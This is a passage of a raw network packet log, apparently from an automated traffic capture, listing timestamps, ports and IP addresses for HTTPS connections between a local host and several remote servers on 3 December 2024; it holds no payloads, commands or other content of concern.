Dec 3, 2024 17:54:00.597325087 CET	49761	443	192.168.2.4	4.175.87.197
Dec 3, 2024 17:54:00.597353935 CET	443	49761	4.175.87.197	192.168.2.4
Dec 3, 2024 17:54:01.753309965 CET	443	49760	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:01.753570080 CET	49760	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:01.753587961 CET	443	49760	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:01.754589081 CET	443	49760	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:01.754643917 CET	49760	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:01.755794048 CET	49760	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:01.755855083 CET	443	49760	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:01.755981922 CET	49760	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:01.755989075 CET	443	49760	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:01.757066011 CET	443	49759	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:01.757272005 CET	49759	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:01.757287979 CET	443	49759	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:01.758307934 CET	443	49759	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:01.758361101 CET	49759	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:01.759227037 CET	49759	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:01.759289980 CET	443	49759	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:01.804752111 CET	443	49758	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:01.805172920 CET	49758	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:01.805197001 CET	443	49758	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:01.806082010 CET	443	49758	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:01.806135893 CET	49758	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:01.806402922 CET	49760	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:01.806412935 CET	49759	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:01.806422949 CET	443	49759	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:01.807146072 CET	49758	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:01.807204008 CET	443	49758	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:01.854243040 CET	49758	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:01.854247093 CET	49759	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:01.854249954 CET	443	49758	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:01.900686979 CET	49758	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:02.299746990 CET	443	49760	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:02.299773932 CET	443	49760	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:02.299849033 CET	443	49760	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:02.299877882 CET	49760	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:02.300174952 CET	49760	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:02.300801992 CET	49760	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:02.300812006 CET	443	49760	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:02.317871094 CET	49758	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:02.317878962 CET	49759	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:02.343139887 CET	49762	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:02.343158007 CET	443	49762	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:02.343266964 CET	49762	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:02.344449043 CET	49762	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:02.344461918 CET	443	49762	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:02.359330893 CET	443	49758	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:02.363336086 CET	443	49759	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:02.436732054 CET	443	49761	4.175.87.197	192.168.2.4
Dec 3, 2024 17:54:02.437284946 CET	49761	443	192.168.2.4	4.175.87.197
Dec 3, 2024 17:54:02.441577911 CET	49761	443	192.168.2.4	4.175.87.197
Dec 3, 2024 17:54:02.441603899 CET	443	49761	4.175.87.197	192.168.2.4
Dec 3, 2024 17:54:02.441970110 CET	443	49761	4.175.87.197	192.168.2.4
Dec 3, 2024 17:54:02.495153904 CET	49761	443	192.168.2.4	4.175.87.197
Dec 3, 2024 17:54:02.795556068 CET	443	49759	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:02.795577049 CET	443	49759	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:02.795586109 CET	443	49759	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:02.795654058 CET	443	49759	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:02.795695066 CET	49759	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:02.796041012 CET	49759	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:02.796577930 CET	49759	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:02.796602011 CET	443	49759	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:02.803493023 CET	443	49758	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:02.803513050 CET	443	49758	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:02.803523064 CET	443	49758	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:02.803558111 CET	443	49758	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:02.803631067 CET	49758	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:02.803631067 CET	49758	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:02.803647995 CET	443	49758	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:02.853665113 CET	49758	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:02.890887022 CET	443	49758	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:02.890897036 CET	443	49758	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:02.890929937 CET	443	49758	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:02.890957117 CET	49758	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:02.890999079 CET	49758	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:03.009625912 CET	443	49758	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:03.009634018 CET	443	49758	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:03.009670973 CET	443	49758	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:03.009699106 CET	443	49758	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:03.009711981 CET	49758	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:03.009773016 CET	49758	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:03.010255098 CET	49758	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:03.010267019 CET	443	49758	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:03.158505917 CET	49764	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:03.158530951 CET	443	49764	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:03.158624887 CET	49764	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:03.158874989 CET	49764	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:03.158889055 CET	443	49764	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:03.804419994 CET	443	49762	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:03.804908991 CET	49762	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:03.804927111 CET	443	49762	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:03.805458069 CET	443	49762	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:03.805737972 CET	49762	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:03.805800915 CET	443	49762	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:03.805859089 CET	49762	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:03.851334095 CET	443	49762	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:03.992863894 CET	49761	443	192.168.2.4	4.175.87.197
Dec 3, 2024 17:54:04.035355091 CET	443	49761	4.175.87.197	192.168.2.4
Dec 3, 2024 17:54:04.412031889 CET	443	49762	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:04.412059069 CET	443	49762	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:04.412102938 CET	443	49762	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:04.412141085 CET	49762	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:04.412158012 CET	443	49762	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:04.412173986 CET	49762	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:04.428482056 CET	443	49762	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:04.428601027 CET	443	49762	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:04.428603888 CET	49762	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:04.428647041 CET	49762	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:04.445386887 CET	49762	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:04.445399046 CET	443	49762	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:04.469338894 CET	49766	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:04.469367981 CET	443	49766	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:04.469434023 CET	49766	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:04.469679117 CET	49766	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:04.469693899 CET	443	49766	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:04.564100981 CET	49767	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:04.564143896 CET	443	49767	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:04.564204931 CET	49767	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:04.564445972 CET	49767	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:04.564457893 CET	443	49767	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:04.608818054 CET	443	49764	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:04.609072924 CET	49764	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:04.609082937 CET	443	49764	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:04.610624075 CET	443	49764	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:04.610713959 CET	49764	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:04.611011982 CET	49764	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:04.611109018 CET	443	49764	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:04.611141920 CET	49764	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:04.611870050 CET	443	49761	4.175.87.197	192.168.2.4
Dec 3, 2024 17:54:04.611895084 CET	443	49761	4.175.87.197	192.168.2.4
Dec 3, 2024 17:54:04.611905098 CET	443	49761	4.175.87.197	192.168.2.4
Dec 3, 2024 17:54:04.611926079 CET	443	49761	4.175.87.197	192.168.2.4
Dec 3, 2024 17:54:04.611938000 CET	443	49761	4.175.87.197	192.168.2.4
Dec 3, 2024 17:54:04.611952066 CET	49761	443	192.168.2.4	4.175.87.197
Dec 3, 2024 17:54:04.611963034 CET	443	49761	4.175.87.197	192.168.2.4
Dec 3, 2024 17:54:04.611978054 CET	443	49761	4.175.87.197	192.168.2.4
Dec 3, 2024 17:54:04.611988068 CET	49761	443	192.168.2.4	4.175.87.197
Dec 3, 2024 17:54:04.612001896 CET	49761	443	192.168.2.4	4.175.87.197
Dec 3, 2024 17:54:04.612030029 CET	49761	443	192.168.2.4	4.175.87.197
Dec 3, 2024 17:54:04.632993937 CET	443	49761	4.175.87.197	192.168.2.4
Dec 3, 2024 17:54:04.633068085 CET	49761	443	192.168.2.4	4.175.87.197
Dec 3, 2024 17:54:04.633074999 CET	443	49761	4.175.87.197	192.168.2.4
Dec 3, 2024 17:54:04.633102894 CET	443	49761	4.175.87.197	192.168.2.4
Dec 3, 2024 17:54:04.633145094 CET	49761	443	192.168.2.4	4.175.87.197
Dec 3, 2024 17:54:04.655329943 CET	443	49764	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:04.659729004 CET	49764	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:04.659734011 CET	443	49764	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:04.700813055 CET	49764	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:04.730470896 CET	49769	443	192.168.2.4	172.67.74.152
Dec 3, 2024 17:54:04.730529070 CET	443	49769	172.67.74.152	192.168.2.4
Dec 3, 2024 17:54:04.730595112 CET	49769	443	192.168.2.4	172.67.74.152
Dec 3, 2024 17:54:04.731060982 CET	49770	443	192.168.2.4	172.67.74.152
Dec 3, 2024 17:54:04.731081963 CET	443	49770	172.67.74.152	192.168.2.4
Dec 3, 2024 17:54:04.731132030 CET	49770	443	192.168.2.4	172.67.74.152
Dec 3, 2024 17:54:04.732433081 CET	49770	443	192.168.2.4	172.67.74.152
Dec 3, 2024 17:54:04.732445002 CET	443	49770	172.67.74.152	192.168.2.4
Dec 3, 2024 17:54:04.732604980 CET	49769	443	192.168.2.4	172.67.74.152
Dec 3, 2024 17:54:04.732619047 CET	443	49769	172.67.74.152	192.168.2.4
Dec 3, 2024 17:54:04.875171900 CET	49773	443	192.168.2.4	13.227.8.47
Dec 3, 2024 17:54:04.875202894 CET	443	49773	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:04.875267029 CET	49773	443	192.168.2.4	13.227.8.47
Dec 3, 2024 17:54:04.875634909 CET	49773	443	192.168.2.4	13.227.8.47
Dec 3, 2024 17:54:04.875647068 CET	443	49773	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:05.147286892 CET	443	49764	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:05.147310972 CET	443	49764	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:05.147326946 CET	443	49764	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:05.147356033 CET	443	49764	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:05.147367001 CET	49764	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:05.147377968 CET	443	49764	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:05.147408962 CET	49764	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:05.195014000 CET	49764	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:05.233540058 CET	443	49764	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:05.233555079 CET	443	49764	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:05.233594894 CET	443	49764	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:05.233599901 CET	49764	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:05.233654022 CET	49764	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:05.335791111 CET	443	49764	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:05.335802078 CET	443	49764	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:05.335828066 CET	443	49764	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:05.335849047 CET	49764	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:05.335886955 CET	443	49764	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:05.335937023 CET	49764	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:05.336252928 CET	49764	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:05.336265087 CET	443	49764	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:05.989809036 CET	443	49770	172.67.74.152	192.168.2.4
Dec 3, 2024 17:54:05.990089893 CET	49770	443	192.168.2.4	172.67.74.152
Dec 3, 2024 17:54:05.990154982 CET	443	49770	172.67.74.152	192.168.2.4
Dec 3, 2024 17:54:05.991034985 CET	443	49770	172.67.74.152	192.168.2.4
Dec 3, 2024 17:54:05.991192102 CET	49770	443	192.168.2.4	172.67.74.152
Dec 3, 2024 17:54:05.992012024 CET	49770	443	192.168.2.4	172.67.74.152
Dec 3, 2024 17:54:05.992065907 CET	443	49770	172.67.74.152	192.168.2.4
Dec 3, 2024 17:54:05.992192030 CET	49770	443	192.168.2.4	172.67.74.152
Dec 3, 2024 17:54:05.992197990 CET	443	49770	172.67.74.152	192.168.2.4
Dec 3, 2024 17:54:06.002152920 CET	443	49766	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:06.002341986 CET	49766	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:06.002366066 CET	443	49766	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:06.002641916 CET	443	49766	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:06.002931118 CET	49766	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:06.002974987 CET	49766	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:06.003006935 CET	443	49766	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:06.009350061 CET	443	49767	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:06.009669065 CET	49767	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:06.009692907 CET	443	49767	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:06.010616064 CET	443	49767	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:06.010703087 CET	49767	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:06.010961056 CET	49767	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:06.011017084 CET	443	49767	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:06.011087894 CET	49767	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:06.011096001 CET	443	49767	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:06.011930943 CET	443	49769	172.67.74.152	192.168.2.4
Dec 3, 2024 17:54:06.013905048 CET	49769	443	192.168.2.4	172.67.74.152
Dec 3, 2024 17:54:06.013921022 CET	443	49769	172.67.74.152	192.168.2.4
Dec 3, 2024 17:54:06.014662027 CET	443	49769	172.67.74.152	192.168.2.4
Dec 3, 2024 17:54:06.014720917 CET	49769	443	192.168.2.4	172.67.74.152
Dec 3, 2024 17:54:06.014952898 CET	49769	443	192.168.2.4	172.67.74.152
Dec 3, 2024 17:54:06.015006065 CET	443	49769	172.67.74.152	192.168.2.4
Dec 3, 2024 17:54:06.038853884 CET	49770	443	192.168.2.4	172.67.74.152
Dec 3, 2024 17:54:06.054495096 CET	49766	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:06.054503918 CET	49767	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:06.070105076 CET	49769	443	192.168.2.4	172.67.74.152
Dec 3, 2024 17:54:06.070115089 CET	443	49769	172.67.74.152	192.168.2.4
Dec 3, 2024 17:54:06.088021040 CET	443	49752	142.250.181.100	192.168.2.4
Dec 3, 2024 17:54:06.088202000 CET	443	49752	142.250.181.100	192.168.2.4
Dec 3, 2024 17:54:06.088377953 CET	49752	443	192.168.2.4	142.250.181.100
Dec 3, 2024 17:54:06.116959095 CET	49769	443	192.168.2.4	172.67.74.152
Dec 3, 2024 17:54:06.302159071 CET	49761	443	192.168.2.4	4.175.87.197
Dec 3, 2024 17:54:06.302228928 CET	443	49761	4.175.87.197	192.168.2.4
Dec 3, 2024 17:54:06.302293062 CET	49761	443	192.168.2.4	4.175.87.197
Dec 3, 2024 17:54:06.302314043 CET	443	49761	4.175.87.197	192.168.2.4
Dec 3, 2024 17:54:06.553010941 CET	49723	80	192.168.2.4	2.20.68.210
Dec 3, 2024 17:54:06.596942902 CET	443	49770	172.67.74.152	192.168.2.4
Dec 3, 2024 17:54:06.596995115 CET	443	49770	172.67.74.152	192.168.2.4
Dec 3, 2024 17:54:06.597042084 CET	49770	443	192.168.2.4	172.67.74.152
Dec 3, 2024 17:54:06.599884033 CET	49770	443	192.168.2.4	172.67.74.152
Dec 3, 2024 17:54:06.599898100 CET	443	49770	172.67.74.152	192.168.2.4
Dec 3, 2024 17:54:06.602549076 CET	49752	443	192.168.2.4	142.250.181.100
Dec 3, 2024 17:54:06.602567911 CET	443	49752	142.250.181.100	192.168.2.4
Dec 3, 2024 17:54:06.656444073 CET	443	49773	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:06.656627893 CET	49773	443	192.168.2.4	13.227.8.47
Dec 3, 2024 17:54:06.656635046 CET	443	49773	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:06.657390118 CET	443	49773	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:06.657447100 CET	49773	443	192.168.2.4	13.227.8.47
Dec 3, 2024 17:54:06.658313990 CET	49773	443	192.168.2.4	13.227.8.47
Dec 3, 2024 17:54:06.658371925 CET	443	49773	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:06.658420086 CET	49773	443	192.168.2.4	13.227.8.47
Dec 3, 2024 17:54:06.674540997 CET	80	49723	2.20.68.210	192.168.2.4
Dec 3, 2024 17:54:06.674647093 CET	49723	80	192.168.2.4	2.20.68.210
Dec 3, 2024 17:54:06.682812929 CET	443	49766	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:06.682987928 CET	443	49766	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:06.683032990 CET	49766	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:06.683337927 CET	49766	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:06.683355093 CET	443	49766	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:06.683382034 CET	49766	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:06.683401108 CET	49766	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:06.685822964 CET	49775	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:06.685863972 CET	443	49775	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:06.686042070 CET	49775	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:06.686253071 CET	49775	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:06.686270952 CET	443	49775	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:06.692059994 CET	443	49767	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:06.692085981 CET	443	49767	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:06.692123890 CET	443	49767	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:06.692131042 CET	49767	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:06.692148924 CET	443	49767	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:06.692163944 CET	443	49767	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:06.692209005 CET	49767	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:06.699340105 CET	443	49773	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:06.709017038 CET	443	49767	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:06.709076881 CET	49767	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:06.709079027 CET	443	49767	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:06.709311008 CET	49767	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:06.709317923 CET	443	49767	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:06.709346056 CET	49767	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:06.710900068 CET	49773	443	192.168.2.4	13.227.8.47
Dec 3, 2024 17:54:06.710906982 CET	443	49773	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:06.757899046 CET	49773	443	192.168.2.4	13.227.8.47
Dec 3, 2024 17:54:06.766581059 CET	49776	443	192.168.2.4	172.67.74.152
Dec 3, 2024 17:54:06.766597033 CET	443	49776	172.67.74.152	192.168.2.4
Dec 3, 2024 17:54:06.766659021 CET	49776	443	192.168.2.4	172.67.74.152
Dec 3, 2024 17:54:06.766824961 CET	49776	443	192.168.2.4	172.67.74.152
Dec 3, 2024 17:54:06.766840935 CET	443	49776	172.67.74.152	192.168.2.4
Dec 3, 2024 17:54:06.773570061 CET	49777	443	192.168.2.4	172.67.69.226
Dec 3, 2024 17:54:06.773632050 CET	443	49777	172.67.69.226	192.168.2.4
Dec 3, 2024 17:54:06.773715973 CET	49777	443	192.168.2.4	172.67.69.226
Dec 3, 2024 17:54:06.773940086 CET	49777	443	192.168.2.4	172.67.69.226
Dec 3, 2024 17:54:06.773953915 CET	443	49777	172.67.69.226	192.168.2.4
Dec 3, 2024 17:54:07.711632013 CET	443	49773	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:07.711658955 CET	443	49773	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:07.711666107 CET	443	49773	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:07.711708069 CET	443	49773	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:07.711725950 CET	443	49773	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:07.711735010 CET	443	49773	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:07.711738110 CET	49773	443	192.168.2.4	13.227.8.47
Dec 3, 2024 17:54:07.711755037 CET	443	49773	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:07.711766005 CET	49773	443	192.168.2.4	13.227.8.47
Dec 3, 2024 17:54:07.711766005 CET	49773	443	192.168.2.4	13.227.8.47
Dec 3, 2024 17:54:07.711796045 CET	49773	443	192.168.2.4	13.227.8.47
Dec 3, 2024 17:54:07.868864059 CET	443	49773	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:07.868954897 CET	443	49773	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:07.868966103 CET	49773	443	192.168.2.4	13.227.8.47
Dec 3, 2024 17:54:07.869000912 CET	49773	443	192.168.2.4	13.227.8.47
Dec 3, 2024 17:54:07.881690979 CET	49773	443	192.168.2.4	13.227.8.47
Dec 3, 2024 17:54:07.881712914 CET	443	49773	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:08.029347897 CET	49779	443	192.168.2.4	13.227.8.47
Dec 3, 2024 17:54:08.029371977 CET	443	49779	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:08.029438972 CET	49779	443	192.168.2.4	13.227.8.47
Dec 3, 2024 17:54:08.029648066 CET	49779	443	192.168.2.4	13.227.8.47
Dec 3, 2024 17:54:08.029661894 CET	443	49779	13.227.8.47	192.168.2.4
Dec 3, 2024 17:54:08.087167978 CET	443	49776	172.67.74.152	192.168.2.4
Dec 3, 2024 17:54:08.087409973 CET	49776	443	192.168.2.4	172.67.74.152
Dec 3, 2024 17:54:08.087428093 CET	443	49776	172.67.74.152	192.168.2.4
Dec 3, 2024 17:54:08.088440895 CET	443	49776	172.67.74.152	192.168.2.4
Dec 3, 2024 17:54:08.088491917 CET	49776	443	192.168.2.4	172.67.74.152
Dec 3, 2024 17:54:08.088854074 CET	49776	443	192.168.2.4	172.67.74.152
Dec 3, 2024 17:54:08.088921070 CET	443	49776	172.67.74.152	192.168.2.4
Dec 3, 2024 17:54:08.088974953 CET	49776	443	192.168.2.4	172.67.74.152
Dec 3, 2024 17:54:08.088979959 CET	443	49776	172.67.74.152	192.168.2.4
Dec 3, 2024 17:54:08.132543087 CET	49776	443	192.168.2.4	172.67.74.152
Dec 3, 2024 17:54:08.161389112 CET	443	49775	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:08.161593914 CET	49775	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:08.161609888 CET	443	49775	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:08.161910057 CET	443	49775	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:08.162214041 CET	49775	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:08.162271976 CET	443	49775	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:08.162374973 CET	49775	443	192.168.2.4	136.243.57.80
Dec 3, 2024 17:54:08.203330040 CET	443	49775	136.243.57.80	192.168.2.4
Dec 3, 2024 17:54:08.399210930 CET	443	49777	172.67.69.226	192.168.2.4
Dec 3, 2024 17:54:08.413921118 CET	49777	443	192.168.2.4	172.67.69.226
Dec 3, 2024 17:54:08.413940907 CET	443	49777	172.67.69.226	192.168.2.4
Dec 3, 2024 17:54:08.416966915 CET	443	49777	172.67.69.226	192.168.2.4
Dec 3, 2024 17:54:08.417059898 CET	49777	443	192.168.2.4	172.67.69.226
Dec 3, 2024 17:54:08.421610117 CET	49777	443	192.168.2.4	172.67.69.226
Dec 3, 2024 17:54:08.421693087 CET	443	49777	172.67.69.226	192.168.2.4
Dec 3, 2024 17:54:08.422015905 CET	49777	443	192.168.2.4	172.67.69.226
Dec 3, 2024 17:54:08.422022104 CET	443	49777	172.67.69.226	192.168.2.4
Dec 3, 2024 17:54:08.472610950 CET	49777	443	192.168.2.4	172.67.69.226
Dec 3, 2024 17:54:08.558512926 CET	443	49776	172.67.74.152	192.168.2.4
Dec 3, 2024 17:54:08.558588028 CET	443	49776	172.67.74.152	192.168.2.4
Dec 3, 2024 17:54:08.558651924 CET	49776	443	192.168.2.4	172.67.74.152
Dec 3, 2024 17:54:08.583183050 CET	49776	443	192.168.2.4	172.67.74.152
